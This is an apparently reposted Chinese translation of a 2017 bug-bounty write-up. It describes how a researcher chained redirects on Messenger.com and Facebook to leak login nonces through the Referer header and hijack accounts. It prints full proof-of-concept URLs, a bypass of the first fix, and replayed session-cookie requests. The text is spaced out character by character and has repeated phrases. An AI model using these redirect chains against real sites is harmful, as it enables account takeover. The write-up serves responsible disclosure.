搜索

[11202] 2017-04-04_看我如何窃取Messenger.com用户登录认证随机数并获得15000美元漏洞赏金

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2017-04-04_看我如何窃取Messenger.com用户登录认证随机数并获得15000美元漏洞赏金 看 我 如 何 窃 取 M e s s e n g e r . c o m 用 户 登 录 认 证 随 机 数 并 获 得 1 5 0 0 0 美 元 漏 洞 赏 金 c l o u d s   F r e e B u f   2 0 1 7 - 0 4 - 0 4 w w w . m e s s e n g e r . c o m 是 是 F a c e b o o k 旗 下 即 时 通 讯 软 件 旗 下 即 时 通 讯 软 件 M e s s e n g e r 官 网 ， 该 网 站 中 添 加 了 基 于 随 机 数 认 证 （ 官 网 ， 该 网 站 中 添 加 了 基 于 随 机 数 认 证 （   n o n c e   b a s e d   l o g i n   ） 的 ） 的 F a c e b o o k 登 录 服 务 ， 如 果 用 户 当 前 是 登 录 服 务 ， 如 果 用 户 当 前 是 F a c e b o o k 登 录 状 态 ， 则 可 以 直 接 以 登 录 状 态 ， 则 可 以 直 接 以 F a c e b o o k 身 份 登 录 身 份 登 录 m e s s e n g e r . c o m 。 然 而 ， 由 于 随 机 数 为 用 户 生 成 了 访 问 。 然 而 ， 由 于 随 机 数 为 用 户 生 成 了 访 问 m e s s e n g e r . c o m 的 会 话 的 会 话 c o o k i e ， 这 种 机 制 可 能 会 让 当 前 已 登 入 的 ， 这 种 机 制 可 能 会 让 当 前 已 登 入 的 F a c e b o o k 用 户 构 造 恶 意 随 机 数 （ 用 户 构 造 恶 意 随 机 数 （ n o n c e ） 和 ） 和 U R L ， 使 访 问 发 生 跳 ， 使 访 问 发 生 跳 转 。 另 外 ， 在 此 过 程 中 ， 由 于 当 前 的 转 。 另 外 ， 在 此 过 程 中 ， 由 于 当 前 的 f a c e b o o k . c o m 和 和 m e s s e n g e r . c o m 会 话 会 话 c o o k i e 会 发 生 交 互 ， 这 也 让 用 户 的 会 发 生 交 互 ， 这 也 让 用 户 的 F a c e b o o k 账 户 陷 入 被 劫 持 风 险 。 下 面 我 们 就 一 起 来 研 究 研 究 ： 账 户 陷 入 被 劫 持 风 险 。 下 面 我 们 就 一 起 来 研 究 研 究 ： M e s s e n g e r . c o m 网 站 中 添 加 的 网 站 中 添 加 的 F a c e b o o k 的 登 录 机 制 的 登 录 机 制 当 用 户 访 问 m e s s e n g e r . c o m 时 ， 网 站 会 发 起 F a c e b o o k 端 的 请 求 h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / ， 请 求 通 过 以 下 框 架 自 动 加 载 ： h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / ? r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F w w w . m e s s e n g e r . c o m % 2 F l o g i n % 2 F f b _ i f r a m e _ t a r g e t % 2 F % 3 F i n i t i a l _ r e q u e s t _ i d % 3 D A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y & i d e n t i f i e r = a b 6 6 d e 6 4 b e 7 5 e e f 5 2 5 f 1 8 b 8 1 2 e 0 7 b 5 d 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y 其 中 ， i d e n t i f i e r 和 i n i t i a l _ r e q u e s t _ i d 是 m e s s e n g e r . c o m 分 配 的 两 个 参 数 ， 并 与 此 过 程 中 产 生 的 d a t r 用 户 c o o k i e 值 相 关 。 如 果 用 户 当 前 是 F a c e b o o k 登 录 状 态 ， 请 求 将 结 合 用 户 安 全 随 机 数 （ s e c r e t   n o n c e ） 转 向 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / ， 具 体 请 求 状 态 如 下 ： h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / ? u s e r i d = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 & n a m e = T o m + J o n e s & s e c r e t = h F T z d P 2 Q & p e r s i s t e n t = 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y 此 时 ， 登 录 框 架 将 会 显 示 以 用 户 F a c e b o o k 账 户 为 凭 据 的 登 录 按 钮 ： 如 果 用 户 点 击 该 按 钮 确 认 继 续 ， 则 会 向 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / n o n c e / 发 起 以 下 包 含 随 机 数 的 一 个 P O S T 请 求 ： P O S T   / l o g i n / n o n c e /   H T T P / 1 . 1 H o s t :   w w w . m e s s e n g e r . c o m C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   1 0 9 C a c h e - C o n t r o l :   m a x - a g e = 0 O r i g i n :   h t t p s : / / w w w . m e s s e n g e r . c o m U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 1 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 _ 0 _ 0 )   A p p l e W e b K i t / 1 . 0   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 . 0 . 0 . 0   S a f a r i / 1 . 0 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 R e f e r e r :   h t t p s : / / w w w . m e s s e n g e r . c o m /
A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 8 C o o k i e :   d a t r = 3 G S y W A I G B 6 D h d U I Q e b U w j 9 J g u s e r i d = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 & n o n c e = h F T z d P 2 Q & p e r s i s t e n t = t r u e & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y & l s d = A V r 7 D y P v 以 上 请 求 中 同 样 包 含 了 参 数 i d e n t i f i e r 和 i n i t i a l _ r e q u e s t _ i d ， 以 及 c o o k i e 值 d a t r 。 之 后 ， 请 求 服 务 使 用 用 户 安 全 随 机 数 生 成 了 一 个 s e s s i o n 会 话 值 和 一 组 S e t - C o o k i e 值 ： H T T P / 1 . 1   3 0 2   F o u n d L o c a t i o n :   h t t p s : / / w w w . m e s s e n g e r . c o m / . . . S e t - C o o k i e :   s b = 3 d p a V 2 P 6 g i u U L z T D h N A B j e t i ;   e x p i r e s = T u e ,   2 6 - F e b - 2 0 1 9   0 6 : 4 3 : 2 9   G M T ;   M a x - A g e = 6 3 0 7 1 9 9 9 ;   p a t h = / ;   d o m a i n = . m e s s e n g e r . c o m ;   s e c u r e ;   h t t p o n l y S e t - C o o k i e :   c _ u s e r = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 ;   e x p i r e s = S a t ,   2 7 - M a y - 2 0 1 7   0 6 : 4 3 : 2 9   G M T ;   M a x - A g e = 7 7 7 5 9 9 9 ;   p a t h = / ;   d o m a i n = . m e s s e n g e r . c o m ;   s e c u r e S e t - C o o k i e :   x s = 2 2 % 3 A e A A c - s X W U Z C a F w % 3 A 2 % 3 A 1 4 8 8 0 9 1 4 0 9 % 3 A - 1 ;   e x p i r e s = S a t ,   2 7 - M a y - 2 0 1 7   0 6 : 4 3 : 2 9   G M T ;   M a x - A g e = 7 7 7 5 9 9 9 ;   p a t h = / ;   d o m a i n = . m e s s e n g e r . c o m ;   s e c u r e ;   h t t p o n l y S e t - C o o k i e :   c s m = 2 ;   e x p i r e s = S a t ,   2 7 - M a y - 2 0 1 7   0 6 : 4 3 : 2 9   G M T ;   M a x - A g e = 7 7 7 5 9 9 9 ;   p a t h = / ;   d o m a i n = . m e s s e n g e r . c o m S e t - C o o k i e :   l u = g Q Q A h 1 7 N - b n C Q J L 3 w u A r j L L Q ;   e x p i r e s = T u e ,   2 6 - F e b - 2 0 1 9   0 6 : 4 3 : 2 9   G M T ;   M a x - A g e = 6 3 0 7 1 9 9 9 ;   p a t h = / ;   d o m a i n = . m e s s e n g e r . c o m ;   s e c u r e ;   h t t p o n l y . . . 研 究 如 何 窃 取 用 户 安 全 随 机 数 研 究 如 何 窃 取 用 户 安 全 随 机 数 初 步 分 析 初 步 分 析 在 此 类 基 于 随 机 数 认 证 登 录 的 情 况 中 ， 一 般 会 存 在 一 个 参 数 使 用 户 从 当 前 网 站 重 定 向 到 另 一 个 已 添 加 登 录 应 用 的 网 站 ， 所 以 ， 我 首 先 从 这 里 入 手 检 查 它 的 安 全 严 谨 性 。 在 网 站 M e s s e n g e r 的 F a c e b o o k 登 录 链 接 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / 中 ， 包 含 了 一 个 控 制 随 机 数 并 进 行 U R L 重 定 向 的 参 数 r e d i r e c t _ u r i ， 使 用 户 完 成 从 M e s s e n g e r 到 F a c e b o o k 跳 转 ， 在 此 过 程 中 ， 其 重 定 向 区 域 （ （ / l o g i n / f b _ i f r a m e _ t a r g e t / ） ） 不 允 许 更 改 或 添 加 任 何 字 符 串 请 求 ， 但 是 ， 经 测 试 发 现 ， 可 以 在 登 录 链 接 中 添 加 一 个 h a s h （ # ） 号 ， 并 且 使 用 m e s s e n g e r . c o m 的 子 域 名 进 行 请 求 也 能 完 成 到 F a c e b o o k 的 重 定 向 。 如 ： h t t p s : / / s u b d o m a i n . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / # U R L   H a s h ： h a s h 即 # 号 ， U R L 中 # 之 后 的 内 容 叫 做 片 段 （ F r a g m e n t ） ， 主 要 可 用 于 链 接 到 所 加 载 页 面 中 的 指 定 锚 点 位 置 ， 片 段 F r a g m e n t s 不 会 出 现 在 H T T P 请 求 消 息 中 ， 因 为 ， F r a g m e n t   I d e n t i f i e r 片 段 标 识 符 仅 被 浏 览 器 使 用 。 如 h t t p : / / w w w . e x a m p l e . c o m / i n d e x . h t m l # l o c a t i o n 中 ， 浏 览 器 只 会 对 / i n d e x . h t m l 发 出 请 求 。 H a s h   b a n g （ # ！ ） ： 针 对 h t t p : / / w w w . e x a m p l e . c o m / # s t h 类 似 链 接 ， 早 期 来 说 ， 搜 索 引 擎 的 网 络 爬 虫 只 会 抓 取 h t t p : / / w w w . e x a m p l e . c o m / 里 面 的 内 容 ， 后 期 ， 为 了 解 决 这 个 问 题 ， g o o g l e 提 出 解 决 方 案 ： h a s h   b a n g ， 即 将 ＃ 改 成 # ! 即 可 让 爬 虫 抓 取 到 一 些 动 态 A J a x 内 容 ， h t t p : / / w w w . e x a m p l e . c o m / # s t h 的 内 容 。 现 在 ， 包 括 F a c e b o o k 、 T w i t t e r 在 内 的 很 多 主 流 网 站 都 支 持 h a s h   b a n g （ # ! ) 通 常 ， 当 认 证 随 机 数 以 字 符 串 方 式 h t t p s : / / e x a m p l e . c o m / l o g i n / ? s e c r e c t = n o n c e ， 而 不 是 # 片 段 方 式 h t t p s : / / e x a m p l e . c o m / l o g i n / # s e c r e c t = n o n c e ， 发 起 重 定 向 U R L 时 ， 可 以 在 浏 览 器 请 求 中 抓 取 到 前 述 相 应 的 n o n c e 和 S e t - c o o k i e 值 。 由 于 M e s s e n g e r . c o m 网 站 支 持 # ! 方 式 ， 当 在 涉 及 M e s s e n g e r . c o m 的 U R L 链 接 中 加 入 # ! 方 式 的 内 容 之 后 ， 链 接 发 生 请 求 时 ， # ! 后 的 内 容 亦 会 被 加 载 。 另 外 ， 由 于 请 求 端 h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / 也 支 持 # 方 式 访 问 ， 所 以 ， 在 链 接 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / 中 加 入 # ! 方 式 内 容 后 ， 请 求 发 生 时 ， 可 能 会 加 载 相 应 内 容 。 漏 洞 构 思 漏 洞 构 思 为 了 窃 取 登 录 认 证 随 机 数 必 须 进 行 异 站 重 定 向 （ r e d i r e c t   o f f s i t e ） 或 站 外 跳 转 。 由 于 网 站 M e s s e n g e r . c o m 中 可 以 使 用 类 似 l . p h p 进 行 链 接 重 定 向 ， 如 ： h t t p s : / / l . m e s s e n g e r . c o m / l . p h p ? u = h t t p s % 3 A % 2 F % 2 F l . m e s s e n g e r . c o m % 2 F l . p h p % 3 F u % 3 D h t t p % 2 5 3 A % 2 5 2 F % 2 5 2 F w w w . f r e e b u f . c o m 而 通 常 在 该 动 作 之 前 ， 一 般 会 使 用 j a v a s c r i p t 删 除 H T T P 请 求 中 的 r e f e r e r 头 ， 使 跳 转 后 的 目 标 地 址 不 会 收 到 r e f e r e r 请 求 。 而 且 ， 从 M e s s e n g e r 跳 转 到 F a c e b o o k 的 过 程 中 使 用 了 3 0 2 重 定 向 。 3 0 2 重 定 向 ： （ 3 0 2   r e d i r e c t ） 指 的 是 当 浏 览 器 要 求 一 个 网 页 的 时 候 ， 主 机 所 返 回 的 状 态 码 。 3 0 2 状 态 码 的 意 义 是 暂 时 转 向 到 另 外 一 个 网 址 ， 但 搜 索 引 擎 中 保 存 原 来 的 U R L 。 另 外 ， 我 从 谷 歌 搜 索 到 了 这 个 F a c e b o o k 链 接 ： h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / s h a r e _ o p e n _ g r a p h ， 只 要 给 定 一 个 F a c e b o o k   I D 和 重 定 向 U R L ， 该 网 页 应 用 服 务 就 能 自 动 发 生 跳 转 ， 因 此 ， 通 过 该 链 接 构 造 的 F a c e b o o k 应 用 可 以 让 请 求 服 务 端 发 生 任 意 U R L 的 重 定 向 跳 转 。 综 合 以 上 问 题 ， 可 以 构 造 出 以 下 包 含 重 定 向 U R L - h t t p s : / / s t e p h e n s c l a f a n i . c o m / p o c . p h p 的 验 证 性 （ P o C ） 链 接 ： h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / ? r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F w w w . m e s s e n g e r . c o m % 2 F l o g i n % 2 F f b _ i f r a m e _ t a r g e t % 2 F % 3 F i n i t i a l _ r e q u e s t _ i d % 3 D A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y % 2 3 ! % 2 F l . p h p % 3 F u % 3 D h t t p s % 2 5 3 A % 2 5 2 F % 2 5 2 F w w w . f a c e b o o k . c o m % 2 5 2 F d i a l o g % 2 5 2 F s h a r e _ o p e n _ g r a p h % 2 5 3 F a p p _ i d % 2 5 3 D 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 % 2 5 2 6 r e d i r e c t _ u r i % 2 5 3 D h t t p s % 2 5 3 A % 2 5 2 F % 2 5 2 F s t e p h e n s c l a f a n i . c o m % 2 5 2 F p o c . p h p & i d e n t i f i e r = a b 6 6 d e 6 4 b e 7 5 e e f 5 2 5 f 1 8 b 8 1 2 e 0 7 b 5 d 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y 但 是 ， 遗 憾 的 是 ， 以 上 重 定 向 没 有 成 功 ， 我 收 到 的 r e f e r e r 头 还 是 h t t p s : / / w w w . m e s s e n g e r . c o m / l . p h p 。 这 是 因 为 每 一 个 w w w . m e s s e n g e r . c o m 页 面 都 包 含 以 下 o r i g i n - w h e n - c r o s s - o r i g i n 策 略 策 略 ： < m e t a   n a m e = " r e f e r r e r "   c o n t e n t = " o r i g i n - w h e n - c r o s s o r i g i n "   i d = " m e t a _ r e f e r r e r "   / > 该 策 略 在 发 起 跨 域 请 求 时 ， 为 了 保 证 用 户 数 据 （ 如 n o n c e ） 不 被 泄 露 ， r e f e r r e r 只 包 含 域 名 ， 不 包 含 具 体 路 径 ， 因 此 这 种 设 置 方 式 显 然 无 效 。 剩 下 的 就 只 能 寄 希 望 于 m e s s e n g e r . c o m 的 子 域 名 了 ， 意 外 的 是 ， 我 通 过 c r t . s h 发 现 其 中 一 个 子 域 名 f b . b e t a . m e s s e n g e r . c o m 未 使 用 o r i g i n - w h e n - c r o s s - o r i g i n 策 略 ， 最 终 ， 通 过 该 子 域 名 成 功 构 造 了 如 下 的 P o C 链 接 ， 并 达 到 了 预 期 效 果 ： h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / ? r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F f b . b e t a . m e s s e n g e r . c o m % 2 F l o g i n % 2 F f b _ i f r a m e _ t a r g e t % 2 F % 3 F i n i t i a l _ r e q u e s t _ i d % 3 D A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y % 2 3 ! % 2 F l . p h p % 3 F u % 3 D h t t p s % 2 5 3 A % 2 5 2 F % 2 5 2 F w w w . f a c e b o o k . c o m % 2 5 2 F d i a l o g % 2 5 2 F s h a r e _ o p e n _ g r a p h % 2 5 3 F a p p _ i d % 2 5 3 D 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 % 2 5 2 6 r e d i r e c t _ u r i % 2 5 3 D h t t p s % 2 5 3 A % 2 5 2 F % 2 5 2 F s t e p h e n s c l a f a n i . c o m % 2 5 2 F p o c . p h p & i d e n t i f i e r = a b 6 6 d e 6 4 b e 7 5 e e f 5 2 5 f 1 8 b 8 1 2 e 0 7 b 5 d 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y 漏 洞 利 用 分 析 漏 洞 利 用 分 析
如 果 当 前 用 户 是 F a c e b o o k 登 录 状 态 ： 1   链 接 h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / 将 会 跳 转 到 到 h t t p s : / / f b . b e t a . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / ， 并 在 此 过 程 中 为 用 户 生 成 一 个 认 证 随 机 数 n o n c e ： h t t p s : / / f b . b e t a . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / ? u s e r i d = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 & n a m e = T o m + J o n e s & s e c r e t = t B T y F t 4 m & p e r s i s t e n t = 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y # ! / l . p h p ? u = h t t p s % 3 A % 2 F % 2 F w w w . f a c e b o o k . c o m % 2 F d i a l o g % 2 F s h a r e _ o p e n _ g r a p h % 3 F a p p _ i d % 3 D 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 % 2 6 r e d i r e c t _ u r i % 3 D h t t p s % 3 A % 2 F % 2 F s t e p h e n s c l a f a n i . c o m % 2 F p o c . p h p 由 于 f b . b e t a . m e s s e n g e r . c o m 未 使 用 o r i g i n - w h e n - c r o s s - o r i g i n 策 略 ， 所 以 此 页 面 中 构 造 的 U R L 将 会 发 生 跳 转 。 2   由 于 在 其 中 添 加 了 # ! / l . p h p ， 最 终 在 用 户 端 浏 览 器 中 重 定 向 到 了 链 接 h t t p s : / / f b . b e t a . m e s s e n g e r . c o m / l . p h p ， ， 具 体 请 求 如 下 ： h t t p s : / / f b . b e t a . m e s s e n g e r . c o m / l . p h p ? u = h t t p s % 3 A % 2 F % 2 F w w w . f a c e b o o k . c o m % 2 F d i a l o g % 2 F s h a r e _ o p e n _ g r a p h % 3 F a p p _ i d % 3 D 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 % 2 6 r e d i r e c t _ u r i % 3 D h t t p s % 3 A % 2 F % 2 F s t e p h e n s c l a f a n i . c o m % 2 F p o c . p h p 由 于 发 生 了 3 0 2 跳 转 ， 用 户 浏 览 器 重 定 向 到 h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / s h a r e _ o p e n _ g r a p h ? a p p _ i d = 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 & r e d i r e c t _ u r i = h t t p s : / / s t e p h e n s c l a f a n i . c o m / p o c . p h p ， 所 以 浏 览 器 仍 然 保 存 的 是 包 含 了 n o n c e 的 r e f e r e r 头 。 3   由 于 在 链 接 后 h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / s h a r e _ o p e n _ g r a p h 添 加 了 重 定 向 参 数 r e d i r e c t _ u r i ， 且 给 定 值 为 h t t p s : / / s t e p h e n s c l a f a n i . c o m / p o c . p h p ， 所 以 用 户 浏 览 器 最 终 发 生 了 向 h t t p s : / / s t e p h e n s c l a f a n i . c o m / p o c . p h p 的 跳 转 。 4   通 过 P o C 脚 本 p o c . p h p ， 可 以 提 取 重 定 向 请 求 过 程 r e f e r r e r 中 的 n o n c e ， 并 能 把 该 n o n c e 值 应 用 于 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / n o n c e / 的 P O S T 请 求 中 ， 由 此 生 成 s e s s i o n 会 话 值 和 以 下 c o o k i e 信 息 ： A r r a y (         [ s b ]   = >   w P - x H W y E a A T 1 J N 3 3 J o T C W m O n         [ c _ u s e r ]   = >   1 0 0 0 1 1 4 2 4 7 3 2 9 0 1         [ x s ]   = >   2 2 : J 2 N F 2 O v l 7 q z A C T : 2 : 1 4 8 8 0 9 4 1 9 5 : - 1         [ c s m ]   = >   2         [ l u ]   = >   g X t q n p A k _ 3 1 G y 1 8 N f 3 B j a n R w ) 当 然 ， 利 用 该 c o o k i e 可 以 自 由 地 进 入 用 户 的 M e s s e n g e r 和 F a c e b o o k 账 户 ： G E T   /   H T T P / 1 . 1 H o s t :   w w w . f a c e b o o k . c o m U s e r - A g e n t :   M o z i l l a / 1 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 _ 0 _ 0 )   A p p l e W e b K i t / 1 . 0   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 . 0 . 0 . 0   S a f a r i / 1 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o o k i e :   s b = w P - x H W y E a A T 1 J N 3 3 J o T C W m O n ;   c _ u s e r = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 ;   x s = 2 2 : J 2 N F 2 O v l 7 q z A C T : 2 : 1 4 8 8 0 9 4 1 9 5 : - 1 ;   c s m = 2 ;   l u = g X t q n p A k _ 3 1 G y 1 8 N f 3 B j a n R w C o n n e c t i o n :   c l o s e G E T   /   H T T P / 1 . 1 H o s t :   w w w . m e s s e n g e r . c o m U s e r - A g e n t :   M o z i l l a / 1 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 _ 0 _ 0 )   A p p l e W e b K i t / 1 . 0   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 . 0 . 0 . 0   S a f a r i / 1 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o o k i e :   s b = w P - x H W y E a A T 1 J N 3 3 J o T C W m O n ;   c _ u s e r = 1 0 0 0 1 1 4 2 4 7 3 2 9 0 1 ;   x s = 2 2 : J 2 N F 2 O v l 7 q z A C T : 2 : 1 4 8 8 0 9 4 1 9 5 : - 1 ;   c s m = 2 ;   l u = g X t q n p A k _ 3 1 G y 1 8 N f 3 B j a n R w C o n n e c t i o n :   c l o s e 说 明 ： 由 于 P O S T 请 求 h t t p s : / / w w w . m e s s e n g e r . c o m / l o g i n / n o n c e / 中 由 c o o k i e   d a t r 生 成 的 参 数 i n i t i a l _ r e q u e s t _ i d 和 i d e n t i f i e r ， 不 存 在 请 求 失 效 和 过 期 情 况 ， 所 以 可 应 用 于 对 多 个 n o n c e 的 s e s s i o n 会 话 值 创 建 。 另 外 ， 针 对 登 录 了 网 站 m e s s e n g e r . c o m 的 用 户 ， 该 攻 击 同 样 有 效 。 修 复 措 施 修 复 措 施 F a c e b o o k 首 先 的 修 复 措 施 是 在 重 定 向 U R L 中 阻 断 了 # 符 号 的 加 入 ， 但 是 ， 这 种 方 式 可 以 通 过 以 下 链 接 被 绕 过 ： h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / ? r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F f b . b e t a . m e s s e n g e r . c o m % 2 F l o g i n % 2 F f b _ i f r a m e _ t a r g e t % 2 F % 3 F i n i t i a l _ r e q u e s t _ i d % 3 D A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y & i d e n t i f i e r = a b 6 6 d e 6 4 b e 7 5 e e f 5 2 5 f 1 8 b 8 1 2 e 0 7 b 5 d 1 & i n i t i a l _ r e q u e s t _ i d = A 8 e K o i V a T W x 4 1 A z k 8 I E w h v Y # ! / l . p h p ? u = h t t p s % 3 A % 2 F % 2 F w w w . f a c e b o o k . c o m % 2 F d i a l o g % 2 F s h a r e _ o p e n _ g r a p h % 3 F a p p _ i d % 3 D 7 5 8 2 8 3 0 8 7 5 2 4 3 4 6 % 2 6 r e d i r e c t _ u r i % 3 D h t t p s % 3 A % 2 F % 2 F s t e p h e n s c l a f a n i . c o m % 2 F p o c . p h p
该 链 接 中 添 加 了 # ! / l . p h p 之 后 ， 即 使 是 跨 站 跳 转 ， 浏 览 器 也 会 通 过 3 0 2 重 定 向 保 留 U R L 中 的 h a s h （ # ） 。 添 加 到 链 接 h t t p s : / / w w w . f a c e b o o k . c o m / l o g i n / m e s s e n g e r _ d o t _ c o m _ i f r a m e / 中 的 # 在 发 生 重 定 向 之 后 ， 会 被 添 加 到 链 接 h t t p s : / / f b . b e t a . m e s s e n g e r . c o m / l o g i n / f b _ i f r a m e _ t a r g e t / 中 。 通 常 ， 为 了 防 止 这 种 情 况 ， 网 站 可 以 设 置 自 己 的 重 定 向 h a s h （ # ） ， 如 ： 漏 洞 报 送 进 程 漏 洞 报 送 进 程 我 是 2 月 2 6 号 星 期 天 向 F a c e b o o k 安 全 报 送 了 这 个 漏 洞 的 ， 星 期 一 大 早 ， F a c e b o o k 在 确 认 了 这 个 漏 洞 之 后 的 两 小 时 就 开 始 进 行 修 复 ， 之 后 F a c e b o o k 向 我 奖 励 了 1 5 0 0 0 美 元 的 漏 洞 赏 金 。 2 0 1 7 . 2 . 2 6       5 : 1 2   A M           向 F a c e b o o k 报 告 漏 洞 ； 2 0 1 7 . 2 . 2 7       8 : 0 1   A M           F a c e b o o k 确 认 漏 洞 ； 2 0 1 7 . 2 . 2 7       9 : 3 5   A M           F a c e b o o k 开 始 进 行 临 时 性 修 复 ； 2 0 1 7 . 2 . 2 7       1 0 : 0 9   A M       我 告 知 F a c e b o o k 当 前 修 复 可 以 被 绕 过 ； 2 0 1 7 . 2 . 2 7       1 1 : 5 6   A M       F a c e b o o k 向 我 反 馈 ， 他 们 已 经 在 制 订 修 复 方 案 ； 2 0 1 7 . 2 . 2 7       4 : 2 9   P M           F a c e b o o k 修 复 了 漏 洞 ； 2 0 1 7 . 2 . 2 7       9 : 3 9   P M           我 对 F a c e b o o k 的 修 复 再 次 作 了 验 证 ； 2 0 1 7 . 3 . 3           4 : 3 6   P M           F a c e b o o k 向 我 奖 励 了   $ 1 5 , 0 0 0 美 元 漏 洞 赏 金 。 * 参 考 来 源 ： s t e p h e n s c l a f a n i ， F r e e B u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e b u f . c o m 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理